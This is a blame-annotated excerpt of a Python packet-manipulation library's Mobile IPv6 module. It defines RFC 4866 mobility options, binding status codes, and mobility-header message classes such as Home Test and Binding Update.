2717c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptSignature(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.2)
2718c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Signature"
2719c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 13, _mobopttypes),
2720c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="sig", fmt="B"),
2721c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("sig", "",
2722c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2723c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2724c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2725c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptHomeKeygenToken(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.3)
2726c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Home Keygen Token"
2727c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 14, _mobopttypes),
2728c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="hkt", fmt="B"),
2729c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("hkt", "",
2730c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2731c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2732c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2733c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCareOfTestInit(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.4)
2734c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Care-of Test Init"
2735c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 15, _mobopttypes),
2736c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 0) ]
2737c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2738c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2739c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCareOfTest(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.5)
2740c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Care-of Test"
2741c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 16, _mobopttypes),
2742c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="cokt", fmt="B"),
27432a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrLenField("cokt", b'\x00'*8,
2744c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2745c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2746c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2747c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptUnknown(_MIP6OptAlign, Packet):
2748c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'Scapy6 - Unknown Mobility Option'
2749c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 6, _mobopttypes),
2750c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="odata", fmt="B"),
2751c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("odata", "",
2752c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2753c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2754c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2755c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilmoboptcls = {  0: Pad1,
2756c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               1: PadN,
2757c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               2: MIP6OptBRAdvice,
2758c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               3: MIP6OptAltCoA,
2759c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               4: MIP6OptNonceIndices,
2760c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               5: MIP6OptBindingAuthData,
2761c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               6: MIP6OptMobNetPrefix,
2762c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               7: MIP6OptLLAddr,
27630d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               8: MIP6OptMNID,
2764c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               9: MIP6OptMsgAuth,
2765c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              10: MIP6OptReplayProtection,
2766c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              11: MIP6OptCGAParamsReq,
2767c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              12: MIP6OptCGAParams,
2768c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              13: MIP6OptSignature,
2769c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              14: MIP6OptHomeKeygenToken,
2770c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              15: MIP6OptCareOfTestInit,
2771c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              16: MIP6OptCareOfTest }
2772c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2773c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2774c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Main Mobile IPv6 Classes
2775c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2776c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilmhtypes = {  0: 'BRR',
2777c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             1: 'HoTI',
2778c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             2: 'CoTI',
2779c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             3: 'HoT',
2780c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             4: 'CoT',
2781c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             5: 'BU',
2782c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             6: 'BA',
2783c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             7: 'BE',
2784c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             8: 'Fast BU',
2785c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             9: 'Fast BA',
2786c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            10: 'Fast NA' }
2787c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
27880d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# From http://www.iana.org/assignments/mobility-parameters
2789c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbastatus = {   0: 'Binding Update accepted',
2790c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               1: 'Accepted but prefix discovery necessary',
2791c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             128: 'Reason unspecified',
2792c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             129: 'Administratively prohibited',
2793c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             130: 'Insufficient resources',
2794c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             131: 'Home registration not supported',
2795c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             132: 'Not home subnet',
2796c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             133: 'Not home agent for this mobile node',
2797c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             134: 'Duplicate Address Detection failed',
2798c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             135: 'Sequence number out of window',
2799c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             136: 'Expired home nonce index',
2800c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             137: 'Expired care-of nonce index',
2801c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             138: 'Expired nonces',
2802c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             139: 'Registration type change disallowed',
2803c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             140: 'Mobile Router Operation not permitted',
2804c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             141: 'Invalid Prefix',
2805c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             142: 'Not Authorized for Prefix',
2806c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             143: 'Forwarding Setup failed (prefixes missing)',
2807c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             144: 'MIPV6-ID-MISMATCH',
2808c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             145: 'MIPV6-MESG-ID-REQD',
2809c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             146: 'MIPV6-AUTH-FAIL',
2810c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             147: 'Permanent home keygen token unavailable',
2811c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             148: 'CGA and signature verification failed',
2812c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             149: 'Permanent home keygen token exists',
2813c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             150: 'Non-null home nonce index expected' }
2814c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2815c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2816c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _MobilityHeader(Packet):
2817c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'Dummy IPv6 Mobility Header'
2818c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 }}
2819c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2820c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, p, pay):
2821c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        p += pay
2822c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.len
2823c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.len is None:
2824c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            l = (len(p)-8)/8
2825c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        p = p[0] + struct.pack("B", l) + p[2:]
2826c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.cksum is None:
2827c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cksum = in6_chksum(135, self.underlayer, p)
2828c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2829c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cksum = self.cksum
2830c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        p = p[:4]+struct.pack("!H", cksum)+p[6:]
2831c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return p
2832c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2833c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2834c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg
2835c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Generic Message"
2836c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
2837c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
2838c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", None, mhtypes),
2839c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
2840c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
28412a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrLenField("msg", b"\x00"*2,
2842c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: 8*pkt.len-6) ]
2843c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2844c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
28450d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2846c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: make a generic _OptionsField
2847c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _MobilityOptionsField(PacketListField):
2848b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["curpos"]
2849c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, cls, curpos, count_from=None, length_from=None):
2850c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.curpos = curpos
2851c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from)
28520d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2853c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
2854c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.length_from(pkt)
2855c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[l:],self.m2i(pkt, s[:l])
2856c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
2858c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return len(self.i2m(pkt, i))
2859c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2860c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def m2i(self, pkt, x):
2861c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        opt = []
2862c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        while x:
2863c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            o = ord(x[0]) # Option type
2864c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = self.cls
2865c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if moboptcls.has_key(o):
2866c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cls = moboptcls[o]
2867c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
2868c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = cls(x)
2869c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except:
2870c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = self.cls(x)
2871c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            opt.append(op)
28727b3e970663abd72697e17b70aba9943ae0dad404Phil            if isinstance(op.payload, conf.raw_layer):
2873c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = op.payload.load
2874c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                del(op.payload)
2875c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
2876c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = ""
2877c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return opt
2878c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2879c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
2880c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        autopad = None
2881c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        try:
2882c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field
2883c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
2884c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = 1
28850d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2886c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not autopad:
2887c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "".join(map(str, x))
2888c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2889c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        curpos = self.curpos
2890c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        s = ""
2891c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for p in x:
2892c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            d = p.alignment_delta(curpos)
2893c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += d
2894c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d == 1:
2895c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s += str(Pad1())
2896c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d != 0:
28972a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                s += str(PadN(optdata=b'\x00'*(d-2)))
2898c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            pstr = str(p)
2899c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += len(pstr)
2900c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += pstr
29010d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2902c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # Let's make the class including our option field
2903c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # a multiple of 8 octets long
2904c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = curpos % 8
2905c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 0:
2906c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s
2907c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = 8 - d
2908c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 1:
2909c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += str(Pad1())
2910c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif d != 0:
29112a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            s += str(PadN(optdata=b'\x00'*(d-2)))
2912c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2913c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
2914c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2915c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
2916c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s+self.i2m(pkt, val)
2917c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2918c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BRR(_MobilityHeader):
2919c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding Refresh Request"
2920c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
2921c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
29220d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteEnumField("mhtype", 0, mhtypes),
2923c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
2924c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
29250d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ShortField("res2", None),
2926c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
2927c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 8,
2928c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*pkt.len) ]
2929c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
29300d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def hashret(self):
2931c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # Hack: BRR, BU and BA have the same hashret that returns the same
29322a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        #       value b"\x00\x08\x09" (concatenation of mhtypes). This is
2933c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        #       because we need match BA with BU and BU with BRR. --arno
29342a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return b"\x00\x08\x09"
2935c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2936c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_HoTI(_MobilityHeader):
2937c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Home Test Init"
2938c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
2939c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
29400d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteEnumField("mhtype", 1, mhtypes),
2941c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
29420d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    XShortField("cksum", None),
29432a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("reserved", b"\x00"*2, 2),
29442a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("cookie", b"\x00"*8, 8),
2945c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
2946c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 16,
2947c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*(pkt.len-1)) ]
2948c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
2949c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2950c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.cookie
2951c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2952c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_CoTI(MIP6MH_HoTI):
2953c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Care-of Test Init"
2954c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    mhtype = 2
2955c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2956c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.cookie
2957c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2958c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_HoT(_MobilityHeader):
2959c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Home Test"
2960c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
2961c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
29620d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteEnumField("mhtype", 3, mhtypes),
2963c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
29640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    XShortField("cksum", None),
2965c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("index", None),
29662a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("cookie", b"\x00"*8, 8),
29672a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("token", b"\x00"*8, 8),
2968c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
2969c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 24,
2970c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*(pkt.len-2)) ]
2971c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
2972c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2973c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.cookie
29742725e5a6ba524e991829570db2c6711384124ab6Pierre LALET    def answers(self, other):
2975c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (isinstance(other, MIP6MH_HoTI) and
2976c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.cookie == other.cookie):
2977c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
2978c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
2979c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2980c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_CoT(MIP6MH_HoT):
2981c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Care-of Test"
2982c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    mhtype = 4
2983c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2984c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.cookie
2985c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2986c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self):
2987c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (isinstance(other, MIP6MH_CoTI) and
2988c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.cookie == other.cookie):
2989c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
2990c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
2991c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2992c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass LifetimeField(ShortField):
2993c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
2994c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "%d sec" % (4*x)
2995c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2996c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BU(_MobilityHeader):
2997c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding Update"
2998c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
2999c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes)
3000c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", 5, mhtypes),
3001c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
3002c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
3003c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("seq", None), # TODO: ShortNonceField
3004571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    FlagsField("flags", "KHA", 7, "PRMKLHA"),
3005571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    XBitField("reserved", 0, 9),
3006c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    LifetimeField("mhtime", 3), # unit == 4 seconds
3007c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
3008c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 12,
3009c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*pkt.len - 4) ]
3010c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
3011c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3012c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret()
30132a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return b"\x00\x08\x09"
3014c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
